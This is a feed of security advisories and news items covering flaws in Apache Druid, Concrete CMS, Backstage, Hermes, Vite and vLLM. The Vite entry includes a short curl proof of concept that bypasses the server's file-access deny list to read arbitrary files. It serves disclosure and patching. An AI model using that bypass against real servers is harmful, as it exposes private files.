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GHSA-p72w-r6fv-6g5h: druid-pac4j, Apache Druid extension, has Padding Oracle vulnerability

Padding Oracle vulnerability in Apache Druid extension, druid-pac4j. This could allow an attacker to manipulate a pac4j session cookie. This issue affects Apache Druid versions 0.18.0 through 30.0.0. Since the druid-pac4j extension is optional and disabled by default, Druid installations not using the druid-pac4j extension are not affected by this vulnerability. While we are not aware of a way to meaningfully exploit this flaw, we nevertheless recommend upgrading to version 30.0.1 or higher which fixes the issue and ensuring you have a strong druid.auth.pac4j.cookiePassphrase as a precaution.

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#vulnerability#web#apache#oracle#auth
GHSA-998c-q8hh-h8gv: Concrete CMS stored XSS vulnerability in the "Top Navigator Bar" block

Concrete CMS versions 9.0.0 through 9.3.3 are affected by a stored XSS vulnerability in the "Top Navigator Bar" block. Since the "Top Navigator Bar" output was not sufficiently sanitized, a rogue administrator could add a malicious payload that could be executed when targeted users visited the home page. This does not affect versions below 9.0.0 since they do not have the Top Navigator Bar Block. Thanks, Chu Quoc Khanh for reporting.

GHSA-3x3f-jcp3-g22j: @backstage/plugin-catalog-backend Prototype Pollution vulnerability

### Impact A malicious actor with authenticated access to a Backstage instance with the catalog backend plugin installed is able to interrupt the service using a specially crafted query to the catalog API. ### Patches This has been fixed in the `1.26.0` release of the `@backstage/plugin-catalog-backend` package. ### References If you have any questions or comments about this advisory: Open an issue in the [Backstage repository](https://github.com/backstage/backstage) Visit our Discord, linked to in [Backstage README](https://github.com/backstage/backstage)

Zero-Click RCE Bug in macOS Calendar Exposes iCloud Data

A researcher bypassed the Calendar sandbox, Gatekeeper, and TCC in a chain attack that allowed for wanton theft of iCloud photos.

'Marko Polo' Creates Globe-Spanning Cybercrime Juggernaut

The Eastern European group is actively expanding its financial fraud activities, with its pipelines representing a veritable Silk Road for the transfer of cryptocurrency, and lucrative and exploitable data.

GHSA-2gh6-wc3m-g37f: hermes-management is vulnerable to RCE due to Apache commons-jxpath

### Impact hermes-management is vulnerable to RCE when it processes user-controlled data due to using Apache commons-jxpath. ### Patches Upgrade Hermes to at least hermes-2.2.9 ### References https://hackinglab.cz/en/blog/remote-code-execution-in-jxpath-library-cve-2022-41852/

Startup Finds 'Hydden' Identities in IT Environment

Hydden's platform detects and classifies an organization's identities, accounts, and privileges, regardless of where they reside in the IT environment.

GHSA-9cwx-2883-4wfx: Vite's `server.fs.deny` is bypassed when using `?import&raw`

### Summary The contents of arbitrary files can be returned to the browser. ### Details `@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists. ### PoC ```sh $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2... ```

GHSA-wc36-9694-f9rf: vLLM Denial of Service via the best_of parameter

A vulnerability was found in the ilab model serve component, where improper handling of the best_of parameter in the vllm JSON web API can lead to a Denial of Service (DoS). The API used for LLM-based sentence or chat completion accepts a best_of parameter to return the best completion from several options. When this parameter is set to a large value, the API does not handle timeouts or resource exhaustion properly, allowing an attacker to cause a DoS by consuming excessive system resources. This leads to the API becoming unresponsive, preventing legitimate users from accessing the service.

GHSA-w2r7-9579-27hf: vLLM denial of service vulnerability

A flaw was found in the vLLM library. A completions API request with an empty prompt will crash the vLLM API server, resulting in a denial of service.